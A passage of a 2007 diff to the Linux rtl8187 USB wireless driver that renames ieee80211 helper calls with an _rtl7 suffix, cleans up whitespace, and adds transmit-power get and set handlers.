0xfb); -// +// // //if(priv->card_type != USB){ // write_phy_ofdm(dev, 0x2, 0x62); // write_phy_ofdm(dev, 0x6, 0x0); // write_phy_ofdm(dev, 0x8, 0x0); // //} - + rtl8225z2_SetTXPowerLevel(dev, channel); - + write_phy_cck(dev, 0x10, 0x9b); mdelay(1); /* Rx ant A, 0xdb for B */ write_phy_ofdm(dev, 0x26, 0x90); mdelay(1); /* Rx ant A, 0x10 for B */ - + rtl8185_tx_antenna(dev, 0x3); /* TX ant A, 0x0 for B */ - - /* switch to high-speed 3-wire + + /* switch to high-speed 3-wire * last digit. 2 for both cck and ofdm */ if(priv->card_type == USB) @@ -943,23 +980,23 @@ // if(priv->card_type != USB) // rtl8225_set_gain(dev, 4); /* FIXME this '1' is random */ // <> // rtl8225_set_mode(dev, 1); /* FIXME start in B mode */ // <> -// +// // /* make sure is waken up! */ // write_rtl8225(dev,0x4, 0x9ff); -// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); +// rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); // rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8225_rf_set_chan(dev, priv->chan); //write_nic_word(dev,BRSR,brsr); - + //rtl8225z2_rf_set_mode(dev); } -void rtl8225z2_rf_set_mode(struct net_device *dev) +void rtl8225z2_rf_set_mode(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->ieee80211->mode == IEEE_A) { write_rtl8225(dev, 0x5, 0x1865); @@ -970,15 +1007,15 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x10000000); }else{ - + write_rtl8225(dev, 0x5, 0x1864); write_nic_dword(dev, RF_PARA, 0x10044); write_nic_dword(dev, RF_TIMING, 0xa8008); @@ -987,12 +1024,12 @@ write_phy_ofdm(dev, 0xb, 0x99); write_phy_ofdm(dev, 0xf, 0x20); write_phy_ofdm(dev, 0x11, 0x7); - + rtl8225z2_set_gain(dev,4); - + write_phy_ofdm(dev,0x15, 0x40); write_phy_ofdm(dev,0x17, 0x40); - + write_nic_dword(dev, 0x94,0x04000002); } } diff -Naur rtl8187_orig/beta-8187/r8180_wx.c rtl8187_rawtx/beta-8187/r8180_wx.c --- rtl8187_orig/beta-8187/r8180_wx.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8180_wx.c 2007-05-26 10:37:46.000000000 +0200 @@ -1,19 +1,19 @@ -/* +/* This file contains wireless extension handlers. This is part of rtl8180 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part + + Parts of this driver are based on the GPL part of the official realtek driver. - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver. - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -21,20 +21,21 @@ #include "r8187.h" #include "r8180_hw.h" +#include "r8180_rtl8225.h" #define RATE_COUNT 4 u32 rtl8180_rates[] = {1000000,2000000,5500000,11000000, 6000000,9000000,12000000,18000000,24000000,36000000,48000000,54000000}; - + static int r8180_wx_get_freq(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_freq(priv->ieee80211,a,wrqu,b); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_freq_rtl7(priv->ieee80211,a,wrqu,b); } @@ -45,28 +46,28 @@ { int *parms = (int *)b; int bi = parms[0]; - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); DMESG("setting beacon interval to %x",bi); - + priv->ieee80211->beacon_interval=bi; rtl8180_commit(dev); up(&priv->wx_sem); - - return 0; + + return 0; } static int r8180_wx_set_forceassociate(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); int *parms = (int *)extra; - + priv->ieee80211->force_associate = (parms[0] > 0); - + return 0; } @@ -75,108 +76,157 @@ static int r8180_wx_get_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv=ieee80211_priv(dev); + struct r8180_priv *priv=ieee80211_priv_rtl7(dev); - return ieee80211_wx_get_mode(priv->ieee80211,a,wrqu,b); + return ieee80211_wx_get_mode_rtl7(priv->ieee80211,a,wrqu,b); } -static int r8180_wx_get_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_rate(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_rate_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_set_rate(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_rate(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); + ret = ieee80211_wx_set_rate_rtl7(priv->ieee80211,info,wrqu,extra); - ret = ieee80211_wx_set_rate(priv->ieee80211,info,wrqu,extra); - up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_rawtx(struct net_device *dev, - struct iw_request_info *info, - union iwreq_data *wrqu, char *extra) +static int r8180_wx_get_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - int ret; - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int i=0; down(&priv->wx_sem); - - ret = ieee80211_wx_set_rawtx(priv->ieee80211, info, wrqu, extra); - + wrqu->power.value = 0; + for(i=0; i<15; i++) + { + if(priv->chtxpwr[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr[i]; + if(priv->chtxpwr_ofdm[i] > wrqu->power.value) wrqu->power.value = priv->chtxpwr_ofdm[i]; + } + wrqu->power.fixed = 1; + wrqu->power.flags = IW_TXPOW_DBM; + wrqu->power.disabled = 0; up(&priv->wx_sem); - + + return 0; +} + +#if 1 +static int r8180_wx_set_txpow(struct net_device *dev, + struct iw_request_info *info, + union iwreq_data *wrqu, char *extra) +{ + int ret = 0, i=0; + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + down(&priv->wx_sem); + + if (wrqu->power.flags != IW_TXPOW_DBM) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value > priv->txpwr_max) + { + ret = -EINVAL; + goto out; + } + + if(wrqu->power.value < 0) + { + ret = -EINVAL; + goto out; + } + + for(i=1;i<15;i++) + { + priv->chtxpwr[i] = priv->chtxpwr_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr[i] > priv->chtxpwr_orig[i]) priv->chtxpwr[i] = 0; + + priv->chtxpwr_ofdm[i] = priv->chtxpwr_ofdm_orig[i] - (priv->txpwr_max - wrqu->power.value); + if(priv->chtxpwr_ofdm[i] > priv->chtxpwr_ofdm_orig[i]) priv->chtxpwr_ofdm[i] = 0; + } + rtl8225z2_SetTXPowerLevel(dev, 1); + + out: + up(&priv->wx_sem); + return ret; - + } +#endif -static int r8180_wx_set_crcmon(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_crcmon(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms = (int *)extra; int enable = (parms[0] > 0); short prev = priv->crcmon; down(&priv->wx_sem); - - if(enable) + + if(enable) priv->crcmon=1; - else + else priv->crcmon=0; - DMESG("bad CRC in monitor mode are %s", + DMESG("bad CRC in monitor mode are %s", priv->crcmon ? "accepted" : "rejected"); if(prev != priv->crcmon && priv->up){ rtl8180_down(dev); rtl8180_up(dev); } - + up(&priv->wx_sem); - + return 0; } static int r8180_wx_set_mode(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_mode(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_mode_rtl7(priv->ieee80211,a,wrqu,b); + rtl8187_set_rxconf(dev); - + up(&priv->wx_sem); return ret; } -static int rtl8180_wx_get_range(struct net_device *dev, - struct iw_request_info *info, +static int rtl8180_wx_get_range(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { struct iw_range *range = (struct iw_range *)extra; - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); u16 val; int i; @@ -186,26 +236,26 @@ /* Let's try to keep this struct in the same order as in * linux/include/wireless.h */ - + /* TODO: See what values we can set, and remove the ones we can't * set, or fill them with some default data. */ /* ~5 Mb/s real (802.11b) */ - range->throughput = 5 * 1000 * 1000; + range->throughput = 5 * 1000 * 1000; // TODO: Not used in 802.11b? // range->min_nwid; /* Minimal NWID we are able to set */ // TODO: Not used in 802.11b? // range->max_nwid; /* Maximal NWID we are able to set */ - + /* Old Frequency (backward compat - moved lower ) */ -// range->old_num_channels; +// range->old_num_channels; // range->old_num_frequency; // range->old_freq[6]; /* Filler to keep "version" at the same offset */ if(priv->rf_set_sens != NULL) range->sensitivity = priv->max_sens; /* signal level threshold range */ - + range->max_qual.qual = 100; /* TODO: Find real max RSSI and stick here */ range->max_qual.level = 0; @@ -219,14 +269,14 @@ range->avg_qual.updated = 7; /* Updated all three */ range->num_bitrates = RATE_COUNT; - + for (i = 0; i < RATE_COUNT && i < IW_MAX_BITRATES; i++) { range->bitrate[i] = rtl8180_rates[i]; } - + range->min_frag = MIN_FRAG_THRESHOLD; range->max_frag = MAX_FRAG_THRESHOLD; - + range->pm_capa = 0; range->we_version_compiled = WIRELESS_EXT; @@ -243,18 +293,18 @@ range->num_channels = 14; for (i = 0, val = 0; i < 14; i++) { - + // Include only legal frequencies for some countries if ((priv->challow)[i+1]) { range->freq[val].i = i + 1; - range->freq[val].m = ieee80211_wlan_frequencies[i] * 100000; + range->freq[val].m = ieee80211_wlan_frequencies_rtl7[i] * 100000; range->freq[val].e = 1; val++; } else { // FIXME: do we need to set anything for channels // we don't use ? } - + if (val == IW_MAX_FREQUENCIES) break; } @@ -267,15 +317,15 @@ static int r8180_wx_set_scan(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + if(!priv->up) return -1; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_scan(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } @@ -286,50 +336,50 @@ { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(!priv->up) return -1; - + down(&priv->wx_sem); - ret = ieee80211_wx_get_scan(priv->ieee80211,a,wrqu,b); - + ret = ieee80211_wx_get_scan_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); - + return ret; } -static int r8180_wx_set_essid(struct net_device *dev, +static int r8180_wx_set_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + int ret; - + down(&priv->wx_sem); - - ret = ieee80211_wx_set_essid(priv->ieee80211,a,wrqu,b); - + + ret = ieee80211_wx_set_essid_rtl7(priv->ieee80211,a,wrqu,b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_essid(struct net_device *dev, +static int r8180_wx_get_essid(struct net_device *dev, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_get_essid(priv->ieee80211, a, wrqu, b); + + ret = ieee80211_wx_get_essid_rtl7(priv->ieee80211, a, wrqu, b); up(&priv->wx_sem); - + return ret; } @@ -338,30 +388,30 @@ union iwreq_data *wrqu, char *b) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_freq(priv->ieee80211, a, wrqu, b); - + + ret = ieee80211_wx_set_freq_rtl7(priv->ieee80211, a, wrqu, b); + up(&priv->wx_sem); return ret; } -static int r8180_wx_get_name(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_name(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - return ieee80211_wx_get_name(priv->ieee80211, info, wrqu, extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + return ieee80211_wx_get_name_rtl7(priv->ieee80211, info, wrqu, extra); } -static int r8180_wx_set_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (wrqu->frag.disabled) priv->ieee80211->fts = DEFAULT_FRAG_THRESHOLD; @@ -369,7 +419,7 @@ if (wrqu->frag.value < MIN_FRAG_THRESHOLD || wrqu->frag.value > MAX_FRAG_THRESHOLD) return -EINVAL; - + priv->ieee80211->fts = wrqu->frag.value & ~0x1; } @@ -377,11 +427,11 @@ } -static int r8180_wx_get_frag(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_frag(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); wrqu->frag.value = priv->ieee80211->fts; wrqu->frag.fixed = 0; /* no auto select */ @@ -397,49 +447,49 @@ char *extra) { int ret; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + down(&priv->wx_sem); - - ret = ieee80211_wx_set_wap(priv->ieee80211,info,awrq,extra); - + + ret = ieee80211_wx_set_wap_rtl7(priv->ieee80211,info,awrq,extra); + up(&priv->wx_sem); return ret; - + } - -static int r8180_wx_get_wap(struct net_device *dev, - struct iw_request_info *info, + +static int r8180_wx_get_wap(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_wap(priv->ieee80211,info,wrqu,extra); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_wap_rtl7(priv->ieee80211,info,wrqu,extra); } -static int r8180_wx_get_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); - - return ieee80211_wx_get_encode(priv->ieee80211, info, wrqu, key); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + + return ieee80211_wx_get_encode_rtl7(priv->ieee80211, info, wrqu, key); } -static int r8180_wx_set_enc(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_enc(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *key) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int ret; - + down(&priv->wx_sem); - + DMESG("Setting SW wep key"); - ret = ieee80211_wx_set_encode(priv->ieee80211,info,wrqu,key); - + ret = ieee80211_wx_set_encode_rtl7(priv->ieee80211,info,wrqu,key); + up(&priv->wx_sem); return ret; } @@ -447,28 +497,28 @@ static int r8180_wx_set_scan_type(struct net_device *dev, struct iw_request_info *aa, union iwreq_data *wrqu, char *p){ - - struct r8180_priv *priv = ieee80211_priv(dev); + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int *parms=(int*)p; int mode=parms[0]; - + priv->ieee80211->active_scan = mode; - + return 1; } -static int r8180_wx_set_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int err = 0; - + down(&priv->wx_sem); - - if (wrqu->retry.flags & IW_RETRY_LIFETIME || + + if (wrqu->retry.flags & IW_RETRY_LIFETIME || wrqu->retry.disabled){ err = -EINVAL; goto exit; @@ -485,13 +535,13 @@ if (wrqu->retry.flags & IW_RETRY_MAX) { priv->retry_rts = wrqu->retry.value; DMESG("Setting retry for RTS/CTS data to %d", wrqu->retry.value); - + }else { priv->retry_data = wrqu->retry.value; DMESG("Setting retry for non RTS/CTS data to %d", wrqu->retry.value); } - - /* FIXME ! + + /* FIXME ! * We might try to write directly the TX config register * or to restart just the (R)TX process. * I'm unsure if whole reset is really needed @@ -503,28 +553,28 @@ rtl8180_rtx_disable(dev); rtl8180_rx_enable(dev); rtl8180_tx_enable(dev); - + } */ exit: up(&priv->wx_sem); - + return err; } -static int r8180_wx_get_retry(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_retry(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + wrqu->retry.disabled = 0; /* can't be disabled */ - if ((wrqu->retry.flags & IW_RETRY_TYPE) == - IW_RETRY_LIFETIME) + if ((wrqu->retry.flags & IW_RETRY_TYPE) == + IW_RETRY_LIFETIME) return -EINVAL; - + if (wrqu->retry.flags & IW_RETRY_MAX) { wrqu->retry.flags = IW_RETRY_LIMIT & IW_RETRY_MAX; wrqu->retry.value = priv->retry_rts; @@ -533,30 +583,30 @@ wrqu->retry.value = priv->retry_data; } //DMESG("returning %d",wrqu->retry.value); - + return 0; } -static int r8180_wx_get_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_get_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - struct r8180_priv *priv = ieee80211_priv(dev); - if(priv->rf_set_sens == NULL) + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + if(priv->rf_set_sens == NULL) return -1; /* we have not this support for this radio */ wrqu->sens.value = priv->sens; return 0; } -static int r8180_wx_set_sens(struct net_device *dev, - struct iw_request_info *info, +static int r8180_wx_set_sens(struct net_device *dev, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - - struct r8180_priv *priv = ieee80211_priv(dev); - + + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + short err = 0; down(&priv->wx_sem); //DMESG("attempt to set sensivity to %ddb",wrqu->sens.value); @@ -571,7 +621,7 @@ exit: up(&priv->wx_sem); - + return err; } @@ -623,32 +673,28 @@ dummy, /* SIOCGIWRTS */ r8180_wx_set_frag, /* SIOCSIWFRAG */ r8180_wx_get_frag, /* SIOCGIWFRAG */ - dummy, /* SIOCSIWTXPOW */ - dummy, /* SIOCGIWTXPOW */ + r8180_wx_set_txpow, /* SIOCSIWTXPOW */ + r8180_wx_get_txpow, /* SIOCGIWTXPOW */ r8180_wx_set_retry, /* SIOCSIWRETRY */ r8180_wx_get_retry, /* SIOCGIWRETRY */ r8180_wx_set_enc, /* SIOCSIWENCODE */ r8180_wx_get_enc, /* SIOCGIWENCODE */ dummy, /* SIOCSIWPOWER */ dummy, /* SIOCGIWPOWER */ -}; +}; -static const struct iw_priv_args r8180_private_args[] = { - +static const struct iw_priv_args r8180_private_args[] = { + { - SIOCIWFIRSTPRIV + 0x0, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" - }, - + SIOCIWFIRSTPRIV + 0x0, + IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "badcrc" + }, + { SIOCIWFIRSTPRIV + 0x1, IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "activescan" - - }, - { - SIOCIWFIRSTPRIV + 0x2, - IW_PRIV_TYPE_INT | IW_PRIV_SIZE_FIXED | 1, 0, "rawtx" + } }; @@ -660,13 +706,12 @@ // r8180_wx_set_beaconinterval, // r8180_wx_set_monitor_type, r8180_wx_set_scan_type, - r8180_wx_set_rawtx, }; -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); return &priv->wstats; } @@ -679,8 +724,8 @@ .private = r8180_private_handler, .num_private = sizeof(r8180_private_handler) / sizeof(iw_handler), .num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args), -#if WIRELESS_EXT >= 17 +#if WIRELESS_EXT >= 17 .get_wireless_stats = r8180_get_wireless_stats, #endif - .private_args = (struct iw_priv_args *)r8180_private_args, + .private_args = (struct iw_priv_args *)r8180_private_args, }; diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c --- rtl8187_orig/beta-8187/r8187_core.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/beta-8187/r8187_core.c 2007-05-27 11:31:45.000000000 +0200 @@ -1,27 +1,27 @@ /* This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 + Copyright (C) Andrea Merello 2005 Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton + + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon. Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - + some ideas might be derived from David Young rtl8180 netbsd driver. - + Parts of the usb code are from the r8150.c driver in linux kernel - + Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the + + We (I?) want to thanks the Authors of those projecs and also the Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - Please note that this file is a modified version from rtl8180-sa2400 + A special big thanks goes also to Realtek corp. for their help in my + attempt to add RTL8187 and RTL8225 support, and to David Young also. + + - Please note that this file is a modified version from rtl8180-sa2400 drv. So some other people have contributed to this project, and they are thanked in the rtl8180-sa2400 CHANGELOG. */ @@ -57,6 +57,7 @@ #undef DEBUG_IRQ_TASKLET #undef DEBUG_TX_ALLOC #undef DEBUG_TX_DESC +#undef DEBUG_TX_POWER //#define CONFIG_RTL8180_IO_MAP @@ -66,6 +67,9 @@ #include "r8180_93cx6.h" /* Card EEPROM */ #include "r8180_wx.h" +#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE)) + #error Build your kernel with ehci_hcd support! +#endif // FIXME: check if 2.6.7 is ok #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) @@ -98,6 +102,10 @@ #endif static int channels = 0x3fff; +// #define DEBUG_EPROM +// #define DEBUG_REGISTERS +// #define DEBUG_TX_POWER + MODULE_LICENSE("GPL"); MODULE_VERSION("V 1.1"); MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); @@ -137,7 +145,7 @@ static int __devinit rtl8187_usb_probe(struct usb_interface *intf, const struct usb_device_id *id); - + static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); static struct usb_driver rtl8187_usb_driver = { @@ -158,13 +166,12 @@ #endif }; - void write_nic_byte_E(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xfe00, 0, &data, 1, HZ / 2); @@ -173,10 +180,10 @@ void write_nic_byte(struct net_device *dev, int indx, u8 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +192,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +204,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -223,22 +230,22 @@ u8 read_nic_byte_E(struct net_device *dev, int indx) { u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -249,16 +256,16 @@ u32 read_nic_dword(struct net_device *dev, int indx) { u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,7 +278,12 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -284,13 +296,13 @@ int *eof, void *data) { struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -307,7 +319,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -319,16 +331,16 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -339,10 +351,10 @@ int *eof, void *data) { struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + int len = 